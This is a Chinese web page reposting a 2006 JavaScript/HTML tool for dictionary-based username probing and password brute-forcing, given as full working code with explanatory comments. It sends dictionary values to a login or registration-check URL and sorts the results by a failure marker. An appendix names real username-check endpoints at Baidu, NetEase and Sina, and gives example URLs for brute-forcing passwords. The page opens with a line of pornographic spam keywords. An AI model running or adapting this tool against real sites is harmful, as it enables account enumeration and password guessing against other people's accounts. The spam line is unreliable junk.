欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

javascript字典探測用戶名工具

 更新時間:2006年10月05日 00:00:00   作者:  
<html>
<head>
<style>
body         { font-size: 10pt; background-color:#D4D0C8 }
td           { font-size: 9pt }
</style>
</head>

<script language="javascript">

/*
程序標題:javascript字典探測用戶名工具
發(fā)布時間:2006年8月
文章作者:翟振凱 (小琦)
作者網(wǎng)站:http://www.xiaoqi.net    
作者論壇:http://www.tdqy.com
演示地址:http://www.xiaoqi.net/zuopin/js_user_swf.htm
QQ:22336848 53353866
關于本文:
    授人予魚,不如授人予漁。本程序的核心代碼處,都有詳細的注解,
    目地是讓大家了解一個程序的開發(fā)過程和這個程序功能的實現(xiàn)原理,
    而不僅僅是給大家提供一個這樣的工具。希望看過本文后的朋友會有
    所收獲,能和我共同分享用javascript編寫程序的樂趣。
*/

//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對象
var xmlhttp = null; 
try 

    xmlhttp = new ActiveXObject("MSXML2.XMLHTTP");  

catch(e) 

    try 
    { 
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } 
    catch(e){
        alert("您的瀏覽器不能創(chuàng)建XMLHttpRequest對象,無法使用此程序!");
    } 

//嘗試用IE瀏覽器的方式創(chuàng)建XMLHttpRequest對象結束

/*
翟振凱注:MSXML2.XMLHTTP 和 Microsoft.XMLHTTP 都是微軟的XMLHTTP控件,只是版本不同。
          IE的安全級別如果不是太高,微軟的XMLHTTP控件是可以跨域獲取數(shù)據(jù)的。
          因為 Mozilla Firefox 瀏覽器的 XMLHttpRequest() 不能跨域獲取數(shù)據(jù),我們就不用 XMLHttpRequest() 方法創(chuàng)建XMLHTTP對象了。
*/


//對返回的中文編碼處理 作者:翟振凱
function Rec_Html(Html)
{
    var Rec=new ActiveXObject("ADODB.RecordSet");    
    Rec.Fields.Append("xiaoqi",201,1);    
    Rec.Open();    
    Rec.AddNew();    
    Rec(0).AppendChunk(Html);    
    Rec.Update();    
    return Rec(0).Value;
    Rec.Close();
}
//對返回的中文編碼處理結束


//開始探測 參數(shù)為要探測的當前值 
function geturl(id)
{
try{
           xmlhttp.open("GET",url.value+id,false);//定義數(shù)據(jù)傳送方式,服務網(wǎng)頁的URL(探測地址+探測值),是否同步執(zhí)行
           xmlhttp.onreadystatechange = function() {//xmlhttp 觸發(fā)事件

          if(xmlhttp.readyState==4)//xmlhttp對象狀態(tài)如果為完成
          {    
          if(xmlhttp.status==200)    //如果服務器返回的狀態(tài)碼為200(成功)
          {  

                 //對結果的中文編碼轉換判斷
                 if(err.value.replace(/[^\W]/g,'').length=0)
                 /*關于轉換判斷的注:
                   例如:"翟振凱".replace(/[^\W]/g,'').length          返回結果 3 
                        "翟振凱22336848".replace(/[^\W]/g,'').length  返回結果 3
                        "xiaoqi22336848".replace(/[^\W]/g,'').length  返回結果 0
                        "小琦22336848".replace(/[^\W]/g,'').length    返回結果 2
                   replace(/[^\W]/g,'')的功能是把字符串里的英文和數(shù)字都清除掉。
                  */
                    {
                            Html=xmlhttp.responseText;//不轉換
                    }
                 else 
                     {
                             Html=Rec_Html(xmlhttp.responseBody);//轉換
                    }
                 //對結果的中文編碼轉換判斷結束

                                        
                 // 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
                 if(Html.indexOf(err.value,0)<0)
                     {
                            x_1.innerHTML=x_1.innerHTML+"<nobr> "+id;//輸出可用值
                     }
                 else 
                     {
                            x_2.innerHTML=x_2.innerHTML+"<nobr> "+id;//輸出不可用值
                     }
                 // 根據(jù)判斷依據(jù)區(qū)分可用或不可用的值!
          }    
          }    
          }    
           xmlhttp.send();
          }    
catch(e)    

x_2.innerHTML=x_2.innerHTML+"<nobr> "+id+"超時!";//輸出異?;虺瑫r的值。
}           
}
//開始探測結束


//載入本地字典文件,并把內容定義為數(shù)組
function kaishi(){ 
        fileFullPath=dic_url.value;
        xmlhttp.open("GET",fileFullPath,false);//載入字典文件方法
        xmlhttp.send();

        Html=Rec_Html(xmlhttp.responseBody);//中文編碼轉換        
        dic=Html.split('\r\n');//以換行符將載入的字典內容轉換為數(shù)組    
        sl.value=dic.length;//告訴用戶要探測的次數(shù)(數(shù)組大小)

xunhuan()//成功載入后開始循環(huán)探測。
}
//載入本地字典文件,并把內容定義為數(shù)組結束


//循環(huán)探測
function xunhuan()
{
        bar=parseInt(jd.value);//將進度值轉換為整數(shù)
        if(bar<sl.value)//判斷是否探測完
        {
                for(i=0;i<parseInt(jc.value);i++){//設定探測線程
                        geturl(dic[bar+i]);//從數(shù)組內取值進行探測               
                }

                jd.value=bar+parseInt(jc.value);//累加探測進度,并向用戶呈現(xiàn)當前進度
                setTimeout("xunhuan()",parseInt(hc.value*1000));//根據(jù)緩沖時間來進行重復循環(huán)探測        
        }
        else//如果進度不小于要探測的次數(shù),就向用戶返回探測完成的結果。
        {
                alert("探測完成!");
        }
}
//循環(huán)探測結束


//暫停探測函數(shù)
function pause(obj)
{
    if(obj.value=='暫停')
        {
        obj.temp=hc.value;//記憶原來的緩沖時間。
        hc.value=5000;//將緩沖時間設置為5000秒,這個值自己可以修改。
        obj.value='繼續(xù)';//改變按鈕顯示狀態(tài)
        } 
    else 
        {
        hc.value=obj.temp;//提取原來的緩沖時間。
        obj.value='暫停';//改變按鈕顯示狀態(tài)
        kaishi()//繼續(xù)探測
        }
}
//暫停探測函數(shù)結束


function ck()//單個值探測驗證檢查
{
    if (url.value.length<5){alert('請輸入要探測地址!');return};
    if (id_one.value.length<1){alert('請輸入要探測的值!');return};
    geturl(id_one.value)
}

function ck1()//批量值探測驗證檢查
{
    if (url.value.length<5){alert("請輸入要探測地址!");return}
    if (err.value.length<1){alert("請輸入不可用標記!");return}
    if (dic_url.value.length<5){alert("請先選擇字典文件!");return}
    jd.value=0;
    kaishi()
}
</script>


<body>

程序作者:翟振凱&nbsp; 注:如果無法使用,或結果顯示超時,請將本頁下載到本地計算機上使用。
<fieldset >
<legend>探測設置</legend>
<table border="1" width="100%" bordercolorlight="#E6E6E6" cellspacing="0" bordercolordark="#D4D0C8">
    <tr>
        <td>探測地址</td>
        <td>
        <input type="text" id="url" size="63" value="http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&password="></td>
    </tr>
    <tr>
        <td>失敗包涵標記 </td>
        <td><input type="text" id="err" size="63" value="不正確"></td>
    </tr>
    <tr>
        <td>測試單個值</td>
        <td><input type="text" id="id_one" size="20">
        <input type="button" value="探測" onclick="ck();"> </td>
    </tr>
    <tr>
        <td>選擇字典文件</td>
        <td><input type="file" name="dic_url" size="20" value="">
        <input type="button" value="開始" onclick="ck1();">
        <input type="button" value="暫停" temp="" onclick="pause(this)">
        <input type="button" value="清除可用結果" onclick="x_1.innerHTML=''">
        <input type="button" value="清除不可用結果" onclick="x_2.innerHTML=''">
        </td>
    </tr>
    <tr>
        <td>高級參數(shù)</td>
        <td>
        每次探測:<input type="text" id="jc" value="1" size="3"> 個&nbsp; 
        緩沖時間:<input type="text" id="hc" value="0.1" size="3"> 秒&nbsp; 
        進度:<input type="text" id="jd" value="0" size="12">&nbsp; 
        探測數(shù)量:<input type="text" id="sl" size="13">
        </td>
    </tr>
</table>
</fieldset> 

<fieldset>
<legend>可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_1"></span></div></fieldset>

<fieldset>
<legend>不可用值:</legend>
<div style="height:100px;width:100%;overflow:auto;"><span id="x_2"></span></div>
</fieldset>

 <p>附錄:</p>
<table border="1" width="100%" id="table1" cellspacing="0" cellpadding="3">
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">測試字典文件地址</td>
        <td width="633" colspan="3"><span style="font-weight: 400">
        <font size="3">http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>
    </tr>
    <tr style="font-weight: bold; background-color: #C0C0C0">
        <td width="111">網(wǎng)站名</td>
        <td width="435">入口</td>
        <td width="83">不可用標記</td>
        <td width="105">備注</td>
    </tr>
    <tr>
        <td width="111">百度用戶注冊</td>
        <td width="435">http://passport.baidu.com/?check_username&amp;un=</td>
        <td width="83">false</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">百度空間注冊</td>
        <td width="435">http://hi.baidu.com/sys/checkurl/item/</td>
        <td width="83">false</td>
        <td width="105">要先用百度用戶登陸</td>
    </tr>
    <tr>
        <td width="111">網(wǎng)易通行證注冊</td>
        <td width="435">http://reg.163.com/register/checkssn.jsp?username=</td>
        <td width="83">對不起</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">新浪通行證</td>
        <td width="435">
        <input type="text" size="57" value="http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm=96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef80c3a45976850d&amp;email=&amp;password=&amp;password2=&amp;pwdQ=&amp;pwdA=&amp;sex=&amp;byear=1986&amp;bmonth=01&amp;bday=01&amp;options=&amp;outinstr=&amp;safe_num=&amp;safe_num2=&amp;identityinfo=&amp;identityNum=&amp;checkidentityNum=&amp;ismail=&amp;userid="></td>
        <td width="83">登錄名被占用</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">測試網(wǎng)站用戶密碼暴力破解</td>
        <td width="435">
        http://www.xiaoqi.net/zuopin/login.asp?username=翟振凱&amp;password=</td>
        <td width="83">不正確</td>
        <td width="105"> </td>
    </tr>
    <tr>
        <td width="111">測試網(wǎng)站用戶密碼暴力破解</td>
        <td width="435">
        http://www.xiaoqi.net/zuopin/login.asp?username=小琦&amp;password=</td>
        <td width="83">不正確</td>
        <td width="105"> </td>
    </tr>
</table>
 <input type="hidden" id="dic1" value="ff"><input type="hidden" id="jc_id" value><p>
程序作者:翟振凱 開發(fā)日期:2006年8月<br>
作者網(wǎng)站:<a >http://www.xiaoqi.net</a><br>
演示地址:<a >http://www.xiaoqi.net/zuopin/js_user_swf.htm</a><br>
程序打包下載地址:<a >http://www.xiaoqi.net/zuopin/js_user.rar</a><br>
QQ:22336848</p></p>

</body>

</html>

相關文章

最新評論